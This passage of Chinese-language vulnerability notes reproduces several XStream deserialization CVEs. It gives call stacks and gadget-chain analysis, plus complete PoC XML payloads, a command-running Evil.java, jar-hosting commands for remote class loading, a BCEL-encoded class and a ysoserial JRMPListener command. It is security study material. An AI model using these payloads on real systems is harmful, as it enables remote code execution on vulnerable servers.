(com.sun.xml.internal.ws.client) compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer) compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1404, XStream (com.thoughtworks.xstream) unmarshal:1383, XStream (com.thoughtworks.xstream) fromXML:1277, XStream (com.thoughtworks.xstream) main:19, Vul (POC.priorityQueue)
|
CVE-2021-21347
影响范围
XStream <= 1.4.15
特别注意:JDK >= 8u231 可用,其余低版本都会遇到下面这个报错,即便修复了 <outer-class>
报错。
1
| Caused by: com.sun.tools.javac.processing.AnnotationProcessingError: java.lang.NullPointerException
|
版本说明
- 1.3.x 会直接报错
- 1.4.15 以后添加了黑名单,和上面是同一个黑名单。
漏洞分析
漏洞本质:XStream 在 xml 对象转 java 对象会触发标签里类的readObject, 于是 source 设置为java.util.PriorityQueue#readObject
没有变,sink 是 JavacProcessingEnvironment$NameProcessIterator#hasNext
,可以触发 URLClassLoader.loadClass.newInstance
动态类加载。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| hasNext:408, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing) hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:109, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) compare:153, ObservableList$1 (javafx.collections) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1404, XStream (com.thoughtworks.xstream) unmarshal:1383, XStream (com.thoughtworks.xstream) fromXML:1277, XStream (com.thoughtworks.xstream) main:20, Vul (POC.priorityQueue)
|
这个利用过程的坑比较多,这里写详细一些。
首先如果出现下面这个错误,说明你需要把 jdk1.8.0_231/lib/tools.jar
添加到依赖里,因为少了对应的类

其次是构造一个 Evil.jar
,首先是 Evil.java
title:"Evil.java"1 2 3 4 5 6 7 8 9
| public class Evil { static{ try{ Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } }
|
然后使用下面的命令打包,并起好服务器
1 2 3
| javac .\Evil.java jar cvf Evil.jar Evil.class python -m http.server 7777
|
然后使用下面的 poc.xml
就没问题了
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'> <names class='java.util.AbstractList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>0</expectedModCount> <outer-class class='java.util.Arrays$ArrayList'> <a class='string-array'> <string>Evil</string> </a> </outer-class> </names> <processorCL class='java.net.URLClassLoader'> <ucp class='sun.misc.URLClassPath'> <urls serialization='custom'> <unserializable-parents/> <vector> <default> <capacityIncrement>0</capacityIncrement> <elementCount>1</elementCount> <elementData> <url>http://127.0.0.1:7777/Evil.jar</url> </elementData> </default> </vector> </urls> <path> <url>http://127.0.0.1:7777/Evil.jar</url> </path> <loaders/> <lmap/> </ucp> <package2certs class='concurrent-hash-map'/> <classes/> <defaultDomain> <classloader class='java.net.URLClassLoader' reference='../..'/> <principals/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> <key> <outer-class reference='../..'/> </key> </defaultDomain> <initialized>true</initialized> <pdcache/> </processorCL> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>-2147483648</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>
|

CVE-2021-21350
影响范围
XStream <= 1.4.15
特别注意:JDK >= 8u231 可用,其余低版本都会遇到下面这个报错,即便修复了 <outer-class>
报错。
1
| Caused by: com.sun.tools.javac.processing.AnnotationProcessingError: java.lang.NullPointerException
|
版本说明
- 1.3.x 会直接报错
- 1.4.15 以后添加了黑名单,和上面是同一个黑名单。
漏洞分析
漏洞本质: source 是java.util.PriorityQueue#readObject
,sink 还是JavacProcessingEnvironment$NameProcessIterator#hasNext
,与上一条链的区别是不使用URLClassLoader
类,改成使用 bcel 链的 com.sun.org.apache.bcel.internal.util.ClassLoader
,从而可以实现不出网利用。
title:"Class文件转BCEL字节码"1 2 3 4
| public static String file2bcelcode(String classFilePath) throws Exception { byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath)); return "$$BCEL$$"+Utility.encode(bytecode, true); }
|
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'> <names class='java.util.AbstractList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>0</expectedModCount> <outer-class class='java.util.Arrays$ArrayList'> <a class='string-array'> <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$L$b3$ac$8b$bc$E$df$P$w$81B$g$3b$88$8d$c1F$U$pD$eba$9c$90$c5e$97$y$D$e1$8f$aci$d0X$f8$B$7e$94$f1$ee$c6$A$89S$dc$c7$b9$e7$9c$99$3b$df$3f$9f_$A$$Q$b6$60$oo$a1$80$j$T$c50$978v$z$q$b0$c7$b1$cfq$c0$90l$3a$9e$a3$af$Y$e2$95$ea$T$83q$ed$bf$u$86L$db$f1$d4$fdt$d4WAO$f4$5dB$cc$a6t$ff$98$e9$ae$W$f2$f5N$8c$a3$R$Z2X$5d$7f$gHu$e3$84$d4Tk$e6$b8$XC1$T6R$b08$Om$i$e1$98$cc$a5p$a5$8d$T$9c2$U$c2y$dd$V$de$a0$de$9aK5$d6$8e$ef$d98$83E$b4P$cf$90$5d3$3a$fd$a1$92$9a$n$b7$86$k$a7$9evFt$9b5Pz$d5$U$x$d5$f6$3fN$83$y$d5$5cI$86$f3$ca$c6$b4$ab$D$c7$h46$F$P$81$_$d5dB$82$cc$98$86$3aZ$b4$X$I$a9P$G$a7$bf$MO$M$y$5c$8b$e2$Wu$c7$94$Z$e5D$ed$jlA$F$83M1$Z$81$f4mH$af$a8$9dH$K$e4$3f$Q$cb$c7$970$9e$df$60$de$d6$96H$$$o$3cE$ca$EqB$7d$89$w$c0$m$8cGh$9a$is$e4$b6M$uG$ac$cd$911H$94$8d$de$93$fb$F$3c$qq$f9$f1$B$A$A</string> </a> </outer-class> </names> <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'> <parent class='sun.misc.Launcher$ExtClassLoader'> </parent> <package2certs class='hashtable'/> <classes defined-in='java.lang.ClassLoader'/> <defaultDomain> <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/> <principals/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> <key> <outer-class reference='../..'/> </key> </defaultDomain> <packages/> <nativeLibraries/> <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <defaultAssertionStatus>false</defaultAssertionStatus> <classes/> <ignored__packages> <string>java.</string> <string>javax.</string> <string>sun.</string> </ignored__packages> <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'> <__path> <paths/> <class__path>.</class__path> </__path> <__loadedClasses/> </repository> <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/> </processorCL> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| defineClass:635, ClassLoader (java.lang) loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:351, ClassLoader (java.lang) hasNext:409, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing) hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:109, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) compare:153, ObservableList$1 (javafx.collections) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1404, XStream (com.thoughtworks.xstream) unmarshal:1383, XStream (com.thoughtworks.xstream) fromXML:1277, XStream (com.thoughtworks.xstream) main:24, Vul (POC.priorityQueue)
|
CVE-2021-29505
Jasper 的叨叨念:这里官网使用的是 priorityQueue 作为入口,但是 baizhu 师傅在 tabby 分析利用链的时候使用的是 sorted-map,所以如果看的是他的文章,可能会出现很迷惑的地方,特此说明。
影响范围
XStream <= 1.4.16
jdk < 8u231,没有深究是 CC6 还是 XStream 的问题,总之 8u231 是复现失败, 8u221 以及之前可以复现成功。
版本说明
无
漏洞分析
漏洞本质:已知 XStream 可以实现以 PriorityQueue 为入口的反序列化,于是让它和 yso JRMPClient 结合起来。ysoserial 的 JRMP 有两种攻击方式,其中一种是攻击者构建恶意 JRMPServer,并绑定一个 EvildObject;然后利用被攻击者存在的反序列化漏洞,去连接攻击者的 JRMPServer,并反序列化 EvildObject。显然,反序列化 EvildObject 需要被攻击方拥有 EvildObject 所需的对应依赖。(整个过程类似 RMI 的利用方式)
关于 yso JRMP 相关利用原理可以看参考链接。
首先,搭一个 JRMPListener ,上面绑定好要传给 Client 的 EvilObject。这里以 CC6 为例,被攻击方需要配置 CC依赖。
1
| java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"
|
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>127.0.0.1</string> <int>9999</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>127.0.0.1</host> <port>9999</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|

下面的 sun.rmi.transport.LiveRef#read
是进行 RMI 连接的逻辑。

函数调用栈,这里只给到建立 RMI 链接,后面实际上就是恶意 RMI Server 攻击 RMI Client 的逻辑,不细说。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| read:291, LiveRef (sun.rmi.transport) readExternal:493, UnicastRef (sun.rmi.server) readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) readFromStream:325, SerializableConverter$2 (com.thoughtworks.xstream.converters.reflection) readObjectOverride:123, CustomObjectInputStream (com.thoughtworks.xstream.core.util) readObject:365, ObjectInputStream (java.io) readObject:791, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1429, XStream (com.thoughtworks.xstream) unmarshal:1409, XStream (com.thoughtworks.xstream) fromXML:1303, XStream (com.thoughtworks.xstream) main:26, Vul (POC.priorityQueue)
|
CVE-2021-39144
影响范围
XStream <= 1.4.17
版本说明
无
漏洞分析
漏洞本质:比较有意思的是 sink 点,DTraceProbe#uncheckedTrigger
有一个可控的反射调用 invoke,其他没啥说的。

函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| start:1007, ProcessBuilder (java.lang) exec:620, Runtime (java.lang) exec:450, Runtime (java.lang) exec:347, Runtime (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace) triggerProbe:269, ProviderSkeleton (sun.tracing) invoke:178, ProviderSkeleton (sun.tracing) compareTo:-1, $Proxy0 (com.sun.proxy) siftDownComparable:704, PriorityQueue (java.util) siftDown:690, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) callReadObject:113, SerializationMethodInvoker (com.thoughtworks.xstream.converters.reflection) doUnmarshal:452, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:257, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1157, XStream (com.thoughtworks.xstream) unmarshal:1141, XStream (com.thoughtworks.xstream) fromXML:1021, XStream (com.thoughtworks.xstream) main:26, Vul (POC.priorityQueue)
|
小疑问
他们这些 poc.xml 是怎么写出来的?虽然本质上还是找链子,但是自己还原成 xml 还是有难度,得去学习 xstream 的官方文档??
答:baizhu的ysomap已经写了对应的逻辑: https://github.com/wh1t3p1g/ysomap ,或者是直接使用 xstream 的 toxml??
参考链接